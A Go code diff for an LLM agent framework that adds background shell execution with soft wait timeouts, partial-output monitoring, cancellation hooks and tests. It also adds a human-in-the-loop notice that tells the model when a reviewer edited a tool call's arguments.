recordEinoADKFilesystemToolMonitor(ctx, args.FilesystemMonitorAgent, args.FilesystemMonitorRecord, args.MCPExecutionBinder, toolName, toolCallID, runAccumulatedMsgs, content, isErr)
|
||||
recordPendingExecuteStdoutDup(toolName, content, displayIsErr)
|
||||
recordEinoADKFilesystemToolMonitor(ctx, args.FilesystemMonitorAgent, args.FilesystemMonitorRecord, args.MCPExecutionBinder, toolName, toolCallID, runAccumulatedMsgs, content, displayIsErr)
|
||||
if args.FilesystemMonitorAgent != nil && args.MCPExecutionBinder != nil {
|
||||
if execID := args.MCPExecutionBinder.ExecutionID(toolCallID); execID != "" {
|
||||
args.FilesystemMonitorAgent.UpdateMCPExecutionDisplayResult(execID, content)
|
||||
@@ -1242,6 +1252,40 @@ func einoToolResultIsError(toolName, content string) bool {
|
||||
return false
|
||||
}
|
||||
|
||||
func isMCPBackgroundWaitResult(content string) bool {
|
||||
text := strings.ToLower(strings.TrimSpace(content))
|
||||
if text == "" {
|
||||
return false
|
||||
}
|
||||
hasExecutionID := strings.Contains(text, "execution_id:") || strings.Contains(text, `"execution_id"`)
|
||||
hasRunningStatus := strings.Contains(text, "status: running") || strings.Contains(text, "status: queued") ||
|
||||
strings.Contains(text, `"status": "running"`) || strings.Contains(text, `"status":"running"`) ||
|
||||
strings.Contains(text, `"status": "queued"`) || strings.Contains(text, `"status":"queued"`)
|
||||
hasSoftWaitSignal := strings.Contains(text, "工具已提交到后台执行") ||
|
||||
strings.Contains(text, "本次等待已到达") ||
|
||||
strings.Contains(text, "wait_timeout:") ||
|
||||
strings.Contains(text, "background execution") ||
|
||||
strings.Contains(text, "still running") ||
|
||||
strings.Contains(text, "仍未完成")
|
||||
return hasExecutionID && hasRunningStatus && hasSoftWaitSignal
|
||||
}
|
||||
|
||||
func mcpExecutionIDFromWaitResult(content string) string {
|
||||
re := regexp.MustCompile(`(?i)"?execution_id"?\s*[:=]\s*"?([0-9a-f]{8}-[0-9a-f-]{12,})"?`)
|
||||
if m := re.FindStringSubmatch(content); len(m) > 1 {
|
||||
return strings.TrimSpace(m[1])
|
||||
}
|
||||
for _, line := range strings.Split(content, "\n") {
|
||||
line = strings.TrimSpace(line)
|
||||
lower := strings.ToLower(line)
|
||||
if !strings.HasPrefix(lower, "execution_id:") {
|
||||
continue
|
||||
}
|
||||
return strings.Trim(strings.TrimSpace(line[len("execution_id:"):]), `"'`)
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// einoToolResultBody 去掉工具错误前缀,返回展示/持久化正文。
|
||||
func einoToolResultBody(content string) string {
|
||||
if strings.HasPrefix(content, einomcp.ToolErrorPrefix) {
|
||||
|
||||
@@ -112,3 +112,41 @@ func TestFriendlyEinoExecuteInvokeTail(t *testing.T) {
|
||||
t.Fatal("unexpected error should get tail")
|
||||
}
|
||||
}
|
||||
|
||||
func TestMCPBackgroundWaitResultIsDisplayRunning(t *testing.T) {
|
||||
body := `工具已提交到后台执行,但本次等待已到达上限。
|
||||
|
||||
execution_id: 3eaaa391-050b-4be1-a870-48a855923cb7
|
||||
tool: exec
|
||||
status: running
|
||||
wait_timeout: 10s
|
||||
elapsed: 10s
|
||||
|
||||
你可以继续推理、改用其他工具,或调用 wait_tool_execution 继续等待该 execution_id;也可以调用 cancel_tool_execution 取消。`
|
||||
modelFacing := einomcp.ToolErrorPrefix + body
|
||||
if !einoToolResultIsError("exec", modelFacing) {
|
||||
t.Fatal("soft wait timeout must remain model-facing tool error")
|
||||
}
|
||||
if !isMCPBackgroundWaitResult(einoToolResultBody(modelFacing)) {
|
||||
t.Fatal("soft wait timeout should display as background running")
|
||||
}
|
||||
if got := mcpExecutionIDFromWaitResult(einoToolResultBody(modelFacing)); got != "3eaaa391-050b-4be1-a870-48a855923cb7" {
|
||||
t.Fatalf("execution id = %q", got)
|
||||
}
|
||||
if isMCPBackgroundWaitResult("execution_id: abc\nstatus: failed\nerror: boom") {
|
||||
t.Fatal("real failures must not display as background running")
|
||||
}
|
||||
jsonBody := `{
|
||||
"execution_id": "e98baefc-72eb-4a7e-9091-9be179a75d71",
|
||||
"tool": "exec",
|
||||
"status": "running"
|
||||
}
|
||||
|
||||
本次等待已到达 timeout_seconds,上述 execution 仍未完成。可继续等待、取消,或采用其他步骤。`
|
||||
if !isMCPBackgroundWaitResult(jsonBody) {
|
||||
t.Fatal("json wait_tool_execution timeout should display as background running")
|
||||
}
|
||||
if got := mcpExecutionIDFromWaitResult(jsonBody); got != "e98baefc-72eb-4a7e-9091-9be179a75d71" {
|
||||
t.Fatalf("json execution id = %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -12,6 +12,9 @@ import (
|
||||
// 与 CallTool 路径一致,使监控页能展示「执行中」状态。
|
||||
func newEinoExecuteMonitorCallbacks(ctx context.Context, ag *agent.Agent, recorder einomcp.ExecutionRecorder) (
|
||||
begin func(toolCallID, command string) string,
|
||||
appendPartial func(executionID, toolCallID, chunk string),
|
||||
registerCancel func(executionID string, cancel context.CancelFunc),
|
||||
unregisterCancel func(executionID string),
|
||||
finish func(executionID, toolCallID, command, stdout string, success bool, invokeErr error),
|
||||
) {
|
||||
begin = func(toolCallID, command string) string {
|
||||
@@ -25,6 +28,24 @@ func newEinoExecuteMonitorCallbacks(ctx context.Context, ag *agent.Agent, record
|
||||
}
|
||||
return id
|
||||
}
|
||||
appendPartial = func(executionID, toolCallID, chunk string) {
|
||||
if ag == nil || executionID == "" || chunk == "" {
|
||||
return
|
||||
}
|
||||
ag.AppendLocalToolExecutionPartialOutput(executionID, chunk)
|
||||
}
|
||||
registerCancel = func(executionID string, cancel context.CancelFunc) {
|
||||
if ag == nil || executionID == "" || cancel == nil {
|
||||
return
|
||||
}
|
||||
ag.RegisterLocalToolExecutionCancel(executionID, cancel)
|
||||
}
|
||||
unregisterCancel = func(executionID string) {
|
||||
if ag == nil || executionID == "" {
|
||||
return
|
||||
}
|
||||
ag.UnregisterLocalToolExecutionCancel(executionID)
|
||||
}
|
||||
finish = func(executionID, toolCallID, command, stdout string, success bool, invokeErr error) {
|
||||
if ag == nil {
|
||||
return
|
||||
@@ -43,5 +64,5 @@ func newEinoExecuteMonitorCallbacks(ctx context.Context, ag *agent.Agent, record
|
||||
recorder(id, toolCallID)
|
||||
}
|
||||
}
|
||||
return begin, finish
|
||||
return begin, appendPartial, registerCancel, unregisterCancel, finish
|
||||
}
|
||||
|
||||
@@ -63,11 +63,16 @@ type einoStreamingShellWrap struct {
|
||||
outputChunk func(toolName, toolCallID, chunk string)
|
||||
// toolTimeoutMinutes 与 agent.tool_timeout_minutes 对齐;>0 时对单次 execute 套用 context 超时(与 MCP 工具经 executeToolViaMCP 行为一致)。0 表示仅依赖上层 ctx(如整任务 10h 上限)。
|
||||
toolTimeoutMinutes int
|
||||
// toolWaitTimeoutSeconds 与 agent.tool_wait_timeout_seconds 对齐;>0 时本轮等待到期后返回 execution_id,shell 继续后台运行。
|
||||
toolWaitTimeoutSeconds int
|
||||
// shellNoOutputTimeoutSec:无任何输出时的空闲秒数;0=关闭。
|
||||
shellNoOutputTimeoutSec int
|
||||
// beginMonitor 在 execute 开始时写入 running 状态;finishMonitor 在流结束后更新为 completed/failed。
|
||||
beginMonitor func(toolCallID, command string) string
|
||||
finishMonitor func(executionID, toolCallID, command, stdout string, success bool, invokeErr error)
|
||||
beginMonitor func(toolCallID, command string) string
|
||||
appendPartialMonitor func(executionID, toolCallID, chunk string)
|
||||
registerCancelMonitor func(executionID string, cancel context.CancelFunc)
|
||||
unregisterCancelMonitor func(executionID string)
|
||||
finishMonitor func(executionID, toolCallID, command, stdout string, success bool, invokeErr error)
|
||||
}
|
||||
|
||||
func (w *einoStreamingShellWrap) ExecuteStreaming(ctx context.Context, input *filesystem.ExecuteRequest) (*schema.StreamReader[*filesystem.ExecuteResponse], error) {
|
||||
@@ -104,6 +109,9 @@ func (w *einoStreamingShellWrap) ExecuteStreaming(ctx context.Context, input *fi
|
||||
if w.toolTimeoutMinutes > 0 {
|
||||
execCtx, timeoutCancel = context.WithTimeout(execCtx, time.Duration(w.toolTimeoutMinutes)*time.Minute)
|
||||
}
|
||||
if monitorExecID != "" && w.registerCancelMonitor != nil {
|
||||
w.registerCancelMonitor(monitorExecID, execCancel)
|
||||
}
|
||||
if execReg != nil && convID != "" {
|
||||
execReg.RegisterActiveEinoExecute(convID, execCancel)
|
||||
}
|
||||
@@ -116,6 +124,9 @@ func (w *einoStreamingShellWrap) ExecuteStreaming(ctx context.Context, input *fi
|
||||
if execCancel != nil {
|
||||
execCancel()
|
||||
}
|
||||
if monitorExecID != "" && w.unregisterCancelMonitor != nil {
|
||||
w.unregisterCancelMonitor(monitorExecID)
|
||||
}
|
||||
if einoExecuteRecvErrIsToolTimeout(err, execCtx) {
|
||||
hint := "\n\n" + einoExecuteTimeoutUserHint() + "\n"
|
||||
if w.finishMonitor != nil {
|
||||
@@ -146,7 +157,7 @@ func (w *einoStreamingShellWrap) ExecuteStreaming(ctx context.Context, input *fi
|
||||
|
||||
outR, outW := schema.Pipe[*filesystem.ExecuteResponse](32)
|
||||
|
||||
go func(inner *schema.StreamReader[*filesystem.ExecuteResponse], command string, cancel context.CancelFunc, timeoutCleanup context.CancelFunc, tctx context.Context, conversationID string, reg mcp.EinoExecuteRunRegistry, toolReg mcp.ToolRunRegistry, execID string, toolCallID string, noOutputSec int) {
|
||||
go func(inner *schema.StreamReader[*filesystem.ExecuteResponse], command string, cancel context.CancelFunc, timeoutCleanup context.CancelFunc, tctx context.Context, conversationID string, reg mcp.EinoExecuteRunRegistry, toolReg mcp.ToolRunRegistry, execID string, toolCallID string, noOutputSec int, waitTimeoutSec int) {
|
||||
var innerCloseOnce sync.Once
|
||||
closeInner := func() {
|
||||
innerCloseOnce.Do(func() { inner.Close() })
|
||||
@@ -164,6 +175,9 @@ func (w *einoStreamingShellWrap) ExecuteStreaming(ctx context.Context, input *fi
|
||||
if toolReg != nil && conversationID != "" && execID != "" {
|
||||
defer toolReg.UnregisterRunningTool(conversationID, execID)
|
||||
}
|
||||
if w.unregisterCancelMonitor != nil && execID != "" {
|
||||
defer w.unregisterCancelMonitor(execID)
|
||||
}
|
||||
|
||||
// ctx 取消时关闭内层流,避免 amass 等长时间无换行输出时 Recv 永久阻塞。
|
||||
stopWatch := make(chan struct{})
|
||||
@@ -181,11 +195,30 @@ func (w *einoStreamingShellWrap) ExecuteStreaming(ctx context.Context, input *fi
|
||||
var invokeErr error
|
||||
exitCode := 0
|
||||
hasExitCode := false
|
||||
softReturned := false
|
||||
var outCloseOnce sync.Once
|
||||
closeOut := func() {
|
||||
outCloseOnce.Do(func() { outW.Close() })
|
||||
}
|
||||
defer closeOut()
|
||||
sendOut := func(resp *filesystem.ExecuteResponse, err error) bool {
|
||||
if softReturned {
|
||||
return false
|
||||
}
|
||||
return outW.Send(resp, err)
|
||||
}
|
||||
|
||||
idleWatch := security.NewShellInactivityWatch(noOutputSec)
|
||||
if idleWatch != nil {
|
||||
defer idleWatch.Stop()
|
||||
}
|
||||
var waitTimeoutCh <-chan time.Time
|
||||
var waitTimer *time.Timer
|
||||
if waitTimeoutSec > 0 {
|
||||
waitTimer = time.NewTimer(time.Duration(waitTimeoutSec) * time.Second)
|
||||
waitTimeoutCh = waitTimer.C
|
||||
defer waitTimer.Stop()
|
||||
}
|
||||
|
||||
type execRecvMsg struct {
|
||||
resp *filesystem.ExecuteResponse
|
||||
@@ -206,8 +239,11 @@ func (w *einoStreamingShellWrap) ExecuteStreaming(ctx context.Context, input *fi
|
||||
success = false
|
||||
invokeErr = fmt.Errorf("shell inactivity timeout (%ds)", idleWatch.Sec)
|
||||
msg := security.ShellNoOutputTimeoutMessage(idleWatch.Sec)
|
||||
_ = outW.Send(&filesystem.ExecuteResponse{Output: msg}, nil)
|
||||
_ = sendOut(&filesystem.ExecuteResponse{Output: msg}, nil)
|
||||
sb.WriteString(msg)
|
||||
if w.appendPartialMonitor != nil && execID != "" {
|
||||
w.appendPartialMonitor(execID, toolCallID, msg)
|
||||
}
|
||||
if w.outputChunk != nil && toolCallID != "" {
|
||||
w.outputChunk("execute", toolCallID, msg)
|
||||
}
|
||||
@@ -227,6 +263,14 @@ func (w *einoStreamingShellWrap) ExecuteStreaming(ctx context.Context, input *fi
|
||||
case <-idleCh:
|
||||
fireInactivityTimeout()
|
||||
break recvLoop
|
||||
case <-waitTimeoutCh:
|
||||
if execID != "" && !softReturned {
|
||||
msg := einoExecuteSoftWaitTimeoutResult(execID, waitTimeoutSec)
|
||||
_ = outW.Send(&filesystem.ExecuteResponse{Output: msg}, nil)
|
||||
softReturned = true
|
||||
closeOut()
|
||||
}
|
||||
waitTimeoutCh = nil
|
||||
case msg := <-recvCh:
|
||||
rerr := msg.err
|
||||
resp := msg.resp
|
||||
@@ -244,7 +288,7 @@ func (w *einoStreamingShellWrap) ExecuteStreaming(ctx context.Context, input *fi
|
||||
invokeErr = context.Canceled
|
||||
break recvLoop
|
||||
}
|
||||
_ = outW.Send(nil, rerr)
|
||||
_ = sendOut(nil, rerr)
|
||||
break recvLoop
|
||||
}
|
||||
if resp != nil {
|
||||
@@ -263,11 +307,14 @@ func (w *einoStreamingShellWrap) ExecuteStreaming(ctx context.Context, input *fi
|
||||
}
|
||||
sb.WriteString(resp.Output)
|
||||
appended = resp.Output
|
||||
if w.appendPartialMonitor != nil && execID != "" {
|
||||
w.appendPartialMonitor(execID, toolCallID, appended)
|
||||
}
|
||||
}
|
||||
if w.outputChunk != nil && strings.TrimSpace(appended) != "" {
|
||||
w.outputChunk("execute", toolCallID, appended)
|
||||
}
|
||||
if outW.Send(resp, nil) {
|
||||
if sendOut(resp, nil) {
|
||||
success = false
|
||||
invokeErr = fmt.Errorf("execute stream closed by consumer")
|
||||
break recvLoop
|
||||
@@ -304,7 +351,10 @@ func (w *einoStreamingShellWrap) ExecuteStreaming(ctx context.Context, input *fi
|
||||
// ADK 从本 Pipe 拼出 tool 消息正文;仅 Notify 尾标不会进入模型上下文。超时句写入流,与 UI 一致。
|
||||
if invokeErr != nil && errors.Is(invokeErr, context.DeadlineExceeded) {
|
||||
hint := "\n\n" + einoExecuteTimeoutUserHint() + "\n"
|
||||
_ = outW.Send(&filesystem.ExecuteResponse{Output: hint}, nil)
|
||||
_ = sendOut(&filesystem.ExecuteResponse{Output: hint}, nil)
|
||||
if w.appendPartialMonitor != nil && execID != "" {
|
||||
w.appendPartialMonitor(execID, toolCallID, hint)
|
||||
}
|
||||
if w.outputChunk != nil && tid != "" {
|
||||
w.outputChunk("execute", tid, hint)
|
||||
}
|
||||
@@ -313,9 +363,9 @@ func (w *einoStreamingShellWrap) ExecuteStreaming(ctx context.Context, input *fi
|
||||
// 中断时循环内已逐行写入 stdout;此处只追加 USER INTERRUPT NOTE,避免整段输出重复。
|
||||
if invokeErr != nil && errors.Is(invokeErr, context.Canceled) && abortNote != "" {
|
||||
if partialStreamed != "" {
|
||||
_ = outW.Send(&filesystem.ExecuteResponse{Output: "\n\n" + mcp.AbortNoteBannerForModel + "\n" + abortNote}, nil)
|
||||
_ = sendOut(&filesystem.ExecuteResponse{Output: "\n\n" + mcp.AbortNoteBannerForModel + "\n" + abortNote}, nil)
|
||||
} else if text := strings.TrimSpace(sb.String()); text != "" {
|
||||
_ = outW.Send(&filesystem.ExecuteResponse{Output: text + "\n"}, nil)
|
||||
_ = sendOut(&filesystem.ExecuteResponse{Output: text + "\n"}, nil)
|
||||
}
|
||||
}
|
||||
rawOutput := sb.String()
|
||||
@@ -323,7 +373,10 @@ func (w *einoStreamingShellWrap) ExecuteStreaming(ctx context.Context, input *fi
|
||||
if !success && hasExitCode && exitCode != 0 {
|
||||
statusLine := security.ExecuteFailureStatusLine(exitCode)
|
||||
if !strings.Contains(rawOutput, "命令执行失败:") {
|
||||
_ = outW.Send(&filesystem.ExecuteResponse{Output: statusLine}, nil)
|
||||
_ = sendOut(&filesystem.ExecuteResponse{Output: statusLine}, nil)
|
||||
if w.appendPartialMonitor != nil && execID != "" {
|
||||
w.appendPartialMonitor(execID, toolCallID, statusLine)
|
||||
}
|
||||
sb.WriteString(statusLine)
|
||||
}
|
||||
fireBody = einomcp.ToolErrorPrefix + security.FormatCommandFailureResult(exitCode, rawOutput)
|
||||
@@ -332,10 +385,25 @@ func (w *einoStreamingShellWrap) ExecuteStreaming(ctx context.Context, input *fi
|
||||
w.finishMonitor(execID, toolCallID, command, sb.String(), success, invokeErr)
|
||||
}
|
||||
if w.invokeNotify != nil {
|
||||
w.invokeNotify.Fire(toolCallID, "execute", agentTag, success, fireBody, invokeErr)
|
||||
if !softReturned {
|
||||
w.invokeNotify.Fire(toolCallID, "execute", agentTag, success, fireBody, invokeErr)
|
||||
}
|
||||
}
|
||||
outW.Close()
|
||||
}(sr, userCmd, execCancel, timeoutCancel, execCtx, convID, execReg, toolRunReg, monitorExecID, tid, w.shellNoOutputTimeoutSec)
|
||||
}(sr, userCmd, execCancel, timeoutCancel, execCtx, convID, execReg, toolRunReg, monitorExecID, tid, w.shellNoOutputTimeoutSec, w.toolWaitTimeoutSeconds)
|
||||
|
||||
return outR, nil
|
||||
}
|
||||
|
||||
func einoExecuteSoftWaitTimeoutResult(executionID string, waitTimeoutSec int) string {
|
||||
waitText := "configured wait timeout"
|
||||
if waitTimeoutSec > 0 {
|
||||
waitText = fmt.Sprintf("%ds", waitTimeoutSec)
|
||||
}
|
||||
return fmt.Sprintf(`工具已提交到后台执行,当前仍在运行。
|
||||
|
||||
execution_id: %s
|
||||
status: running
|
||||
wait_timeout: %s
|
||||
|
||||
你可以继续推理、改用其他工具,或调用 get_tool_execution / wait_tool_execution 读取 partial_output 并继续等待;也可以调用 cancel_tool_execution 取消。`, executionID, waitText)
|
||||
}
|
||||
|
||||
@@ -153,6 +153,81 @@ func TestEinoStreamingShellWrap_InactivityAfterPartialOutput(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestEinoStreamingShellWrap_SoftWaitTimeoutReturnsExecutionIDAndKeepsRunning(t *testing.T) {
|
||||
inner := &mockStreamingShellPartialThenHang{}
|
||||
partialCh := make(chan string, 4)
|
||||
cancelCh := make(chan context.CancelFunc, 1)
|
||||
unregistered := make(chan string, 1)
|
||||
wrap := &einoStreamingShellWrap{
|
||||
inner: inner,
|
||||
toolWaitTimeoutSeconds: 1,
|
||||
beginMonitor: func(toolCallID, command string) string {
|
||||
return "exec-soft-wait"
|
||||
},
|
||||
appendPartialMonitor: func(executionID, toolCallID, chunk string) {
|
||||
partialCh <- chunk
|
||||
},
|
||||
registerCancelMonitor: func(executionID string, cancel context.CancelFunc) {
|
||||
if executionID == "exec-soft-wait" {
|
||||
cancelCh <- cancel
|
||||
}
|
||||
},
|
||||
unregisterCancelMonitor: func(executionID string) {
|
||||
unregistered <- executionID
|
||||
},
|
||||
}
|
||||
ctx, cancel := context.WithCancel(context.Background())
|
||||
defer cancel()
|
||||
sr, err := wrap.ExecuteStreaming(ctx, &filesystem.ExecuteRequest{Command: "sudo whoami"})
|
||||
if err != nil {
|
||||
t.Fatalf("ExecuteStreaming: %v", err)
|
||||
}
|
||||
defer sr.Close()
|
||||
|
||||
var got strings.Builder
|
||||
for {
|
||||
resp, rerr := sr.Recv()
|
||||
if errors.Is(rerr, io.EOF) {
|
||||
break
|
||||
}
|
||||
if rerr != nil {
|
||||
t.Fatalf("recv: %v", rerr)
|
||||
}
|
||||
if resp != nil {
|
||||
got.WriteString(resp.Output)
|
||||
}
|
||||
}
|
||||
body := got.String()
|
||||
if !strings.Contains(body, "execution_id: exec-soft-wait") || !strings.Contains(body, "status: running") {
|
||||
t.Fatalf("expected background execution marker, got: %q", body)
|
||||
}
|
||||
select {
|
||||
case chunk := <-partialCh:
|
||||
if !strings.Contains(chunk, "[sudo] password") {
|
||||
t.Fatalf("unexpected partial chunk: %q", chunk)
|
||||
}
|
||||
default:
|
||||
t.Fatal("expected streamed partial output before soft wait return")
|
||||
}
|
||||
if !inner.called {
|
||||
t.Fatal("inner shell did not run")
|
||||
}
|
||||
select {
|
||||
case registeredCancel := <-cancelCh:
|
||||
registeredCancel()
|
||||
case <-time.After(time.Second):
|
||||
t.Fatal("expected execution cancel registration")
|
||||
}
|
||||
select {
|
||||
case id := <-unregistered:
|
||||
if id != "exec-soft-wait" {
|
||||
t.Fatalf("unexpected unregistered id: %q", id)
|
||||
}
|
||||
case <-time.After(time.Second):
|
||||
t.Fatal("expected execution cancel unregister")
|
||||
}
|
||||
}
|
||||
|
||||
type mockStreamingShellHanging struct {
|
||||
called bool
|
||||
}
|
||||
|
||||
@@ -82,7 +82,7 @@ func RunEinoSingleChatModelAgent(
|
||||
}
|
||||
|
||||
toolInvokeNotify := einomcp.NewToolInvokeNotifyHolder()
|
||||
einoExecBegin, einoExecFinish := newEinoExecuteMonitorCallbacks(ctx, ag, recorder)
|
||||
einoExecBegin, einoExecAppendPartial, einoExecRegisterCancel, einoExecUnregisterCancel, einoExecFinish := newEinoExecuteMonitorCallbacks(ctx, ag, recorder)
|
||||
mainDefs := ag.ToolsForRole(roleTools)
|
||||
mainTools, err := einomcp.ToolsFromDefinitions(ag, holder, mainDefs, recorder, nil, toolInvokeNotify, einoSingleAgentName)
|
||||
if err != nil {
|
||||
@@ -139,7 +139,7 @@ func RunEinoSingleChatModelAgent(
|
||||
}
|
||||
if einoSkillMW != nil {
|
||||
if einoFSTools && einoLoc != nil {
|
||||
fsMw, fsErr := subAgentFilesystemMiddleware(ctx, einoLoc, toolInvokeNotify, einoSingleAgentName, einoExecBegin, einoExecFinish, agentToolTimeoutMinutes(appCfg), agentShellNoOutputTimeoutSeconds(appCfg), nil)
|
||||
fsMw, fsErr := subAgentFilesystemMiddleware(ctx, einoLoc, toolInvokeNotify, einoSingleAgentName, einoExecBegin, einoExecAppendPartial, einoExecRegisterCancel, einoExecUnregisterCancel, einoExecFinish, agentToolTimeoutMinutes(appCfg), agentToolWaitTimeoutSeconds(appCfg), agentShellNoOutputTimeoutSeconds(appCfg), nil)
|
||||
if fsErr != nil {
|
||||
return nil, fmt.Errorf("eino single filesystem 中间件: %w", fsErr)
|
||||
}
|
||||
|
||||
@@ -107,8 +107,12 @@ func subAgentFilesystemMiddleware(
|
||||
invokeNotify *einomcp.ToolInvokeNotifyHolder,
|
||||
einoAgentName string,
|
||||
beginMonitor func(toolCallID, command string) string,
|
||||
appendPartialMonitor func(executionID, toolCallID, chunk string),
|
||||
registerCancelMonitor func(executionID string, cancel context.CancelFunc),
|
||||
unregisterCancelMonitor func(executionID string),
|
||||
finishMonitor func(executionID, toolCallID, command, stdout string, success bool, invokeErr error),
|
||||
toolTimeoutMinutes int,
|
||||
toolWaitTimeoutSeconds int,
|
||||
shellNoOutputTimeoutSec int,
|
||||
outputChunk func(toolName, toolCallID, chunk string),
|
||||
) (adk.ChatModelAgentMiddleware, error) {
|
||||
@@ -123,8 +127,12 @@ func subAgentFilesystemMiddleware(
|
||||
einoAgentName: strings.TrimSpace(einoAgentName),
|
||||
outputChunk: outputChunk,
|
||||
beginMonitor: beginMonitor,
|
||||
appendPartialMonitor: appendPartialMonitor,
|
||||
registerCancelMonitor: registerCancelMonitor,
|
||||
unregisterCancelMonitor: unregisterCancelMonitor,
|
||||
finishMonitor: finishMonitor,
|
||||
toolTimeoutMinutes: toolTimeoutMinutes,
|
||||
toolWaitTimeoutSeconds: toolWaitTimeoutSeconds,
|
||||
shellNoOutputTimeoutSec: shellNoOutputTimeoutSec,
|
||||
},
|
||||
})
|
||||
@@ -138,6 +146,13 @@ func agentToolTimeoutMinutes(cfg *config.Config) int {
|
||||
return cfg.Agent.ToolTimeoutMinutes
|
||||
}
|
||||
|
||||
func agentToolWaitTimeoutSeconds(cfg *config.Config) int {
|
||||
if cfg == nil {
|
||||
return 0
|
||||
}
|
||||
return cfg.Agent.ToolWaitTimeoutSeconds
|
||||
}
|
||||
|
||||
// agentShellNoOutputTimeoutSeconds:0=默认 300s(5 分钟);-1=关闭;>0=自定义秒数。
|
||||
func agentShellNoOutputTimeoutSeconds(cfg *config.Config) int {
|
||||
if cfg == nil {
|
||||
|
||||
@@ -3,6 +3,7 @@ package multiagent
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"io"
|
||||
"strings"
|
||||
|
||||
"github.com/cloudwego/eino/adk"
|
||||
@@ -65,11 +66,51 @@ func hitlClearReturnDirectlyIfTransfer(ctx context.Context, toolName string) {
|
||||
})
|
||||
}
|
||||
|
||||
func hitlEditedArgumentsNotice(original, edited string) string {
|
||||
original = strings.TrimSpace(original)
|
||||
edited = strings.TrimSpace(edited)
|
||||
if edited == "" || edited == original {
|
||||
return ""
|
||||
}
|
||||
return "[HITL] Human reviewer approved this tool call with edited arguments.\n" +
|
||||
"Original arguments: " + original + "\n" +
|
||||
"Executed arguments: " + edited + "\n\n"
|
||||
}
|
||||
|
||||
func hitlPrependEditedArgumentsNotice(result, original, edited string) string {
|
||||
notice := hitlEditedArgumentsNotice(original, edited)
|
||||
if notice == "" {
|
||||
return result
|
||||
}
|
||||
return notice + result
|
||||
}
|
||||
|
||||
func hitlCollectStringStream(sr *schema.StreamReader[string]) (string, error) {
|
||||
if sr == nil {
|
||||
return "", nil
|
||||
}
|
||||
defer sr.Close()
|
||||
var b strings.Builder
|
||||
for {
|
||||
chunk, err := sr.Recv()
|
||||
if errors.Is(err, io.EOF) {
|
||||
return b.String(), nil
|
||||
}
|
||||
if err != nil {
|
||||
return b.String(), err
|
||||
}
|
||||
b.WriteString(chunk)
|
||||
}
|
||||
}
|
||||
|
||||
func hitlInvokableToolCallMiddleware() compose.InvokableToolMiddleware {
|
||||
return func(next compose.InvokableToolEndpoint) compose.InvokableToolEndpoint {
|
||||
return func(ctx context.Context, input *compose.ToolInput) (*compose.ToolOutput, error) {
|
||||
originalArgs := ""
|
||||
editedArgs := ""
|
||||
if input != nil {
|
||||
if fn, ok := ctx.Value(hitlInterceptorKey{}).(HITLToolInterceptor); ok && fn != nil {
|
||||
originalArgs = input.Arguments
|
||||
edited, err := fn(ctx, input.Name, input.Arguments)
|
||||
if err != nil {
|
||||
if IsHumanRejectError(err) {
|
||||
@@ -85,11 +126,17 @@ func hitlInvokableToolCallMiddleware() compose.InvokableToolMiddleware {
|
||||
return nil, err
|
||||
}
|
||||
if edited != "" {
|
||||
editedArgs = edited
|
||||
input.Arguments = edited
|
||||
}
|
||||
}
|
||||
}
|
||||
return next(ctx, input)
|
||||
out, err := next(ctx, input)
|
||||
if err != nil || out == nil {
|
||||
return out, err
|
||||
}
|
||||
out.Result = hitlPrependEditedArgumentsNotice(out.Result, originalArgs, editedArgs)
|
||||
return out, nil
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -97,8 +144,11 @@ func hitlInvokableToolCallMiddleware() compose.InvokableToolMiddleware {
|
||||
func hitlStreamableToolCallMiddleware() compose.StreamableToolMiddleware {
|
||||
return func(next compose.StreamableToolEndpoint) compose.StreamableToolEndpoint {
|
||||
return func(ctx context.Context, input *compose.ToolInput) (*compose.StreamToolOutput, error) {
|
||||
originalArgs := ""
|
||||
editedArgs := ""
|
||||
if input != nil {
|
||||
if fn, ok := ctx.Value(hitlInterceptorKey{}).(HITLToolInterceptor); ok && fn != nil {
|
||||
originalArgs = input.Arguments
|
||||
edited, err := fn(ctx, input.Name, input.Arguments)
|
||||
if err != nil {
|
||||
if IsHumanRejectError(err) {
|
||||
@@ -111,11 +161,26 @@ func hitlStreamableToolCallMiddleware() compose.StreamableToolMiddleware {
|
||||
return nil, err
|
||||
}
|
||||
if edited != "" {
|
||||
editedArgs = edited
|
||||
input.Arguments = edited
|
||||
}
|
||||
}
|
||||
}
|
||||
return next(ctx, input)
|
||||
out, err := next(ctx, input)
|
||||
if err != nil || out == nil {
|
||||
return out, err
|
||||
}
|
||||
if hitlEditedArgumentsNotice(originalArgs, editedArgs) == "" {
|
||||
return out, nil
|
||||
}
|
||||
result, collectErr := hitlCollectStringStream(out.Result)
|
||||
if collectErr != nil {
|
||||
return nil, collectErr
|
||||
}
|
||||
out.Result = schema.StreamReaderFromArray([]string{
|
||||
hitlPrependEditedArgumentsNotice(result, originalArgs, editedArgs),
|
||||
})
|
||||
return out, nil
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -135,7 +135,7 @@ func RunDeepAgent(
|
||||
mcpIDs = append(mcpIDs, id)
|
||||
mcpIDsMu.Unlock()
|
||||
}
|
||||
einoExecBegin, einoExecFinish := newEinoExecuteMonitorCallbacks(ctx, ag, recorder)
|
||||
einoExecBegin, einoExecAppendPartial, einoExecRegisterCancel, einoExecUnregisterCancel, einoExecFinish := newEinoExecuteMonitorCallbacks(ctx, ag, recorder)
|
||||
|
||||
// 与单代理流式一致:在 response_start / response_delta 的 data 中带当前 mcpExecutionIds,供主聊天绑定复制与展示。
|
||||
snapshotMCPIDs := func() []string {
|
||||
@@ -240,7 +240,7 @@ func RunDeepAgent(
|
||||
}
|
||||
if einoSkillMW != nil {
|
||||
if einoFSTools && einoLoc != nil {
|
||||
subFs, fsErr := subAgentFilesystemMiddleware(ctx, einoLoc, toolInvokeNotify, id, einoExecBegin, einoExecFinish, agentToolTimeoutMinutes(appCfg), agentShellNoOutputTimeoutSeconds(appCfg), nil)
|
||||
subFs, fsErr := subAgentFilesystemMiddleware(ctx, einoLoc, toolInvokeNotify, id, einoExecBegin, einoExecAppendPartial, einoExecRegisterCancel, einoExecUnregisterCancel, einoExecFinish, agentToolTimeoutMinutes(appCfg), agentToolWaitTimeoutSeconds(appCfg), agentShellNoOutputTimeoutSeconds(appCfg), nil)
|
||||
if fsErr != nil {
|
||||
return nil, fmt.Errorf("子代理 %q filesystem 中间件: %w", id, fsErr)
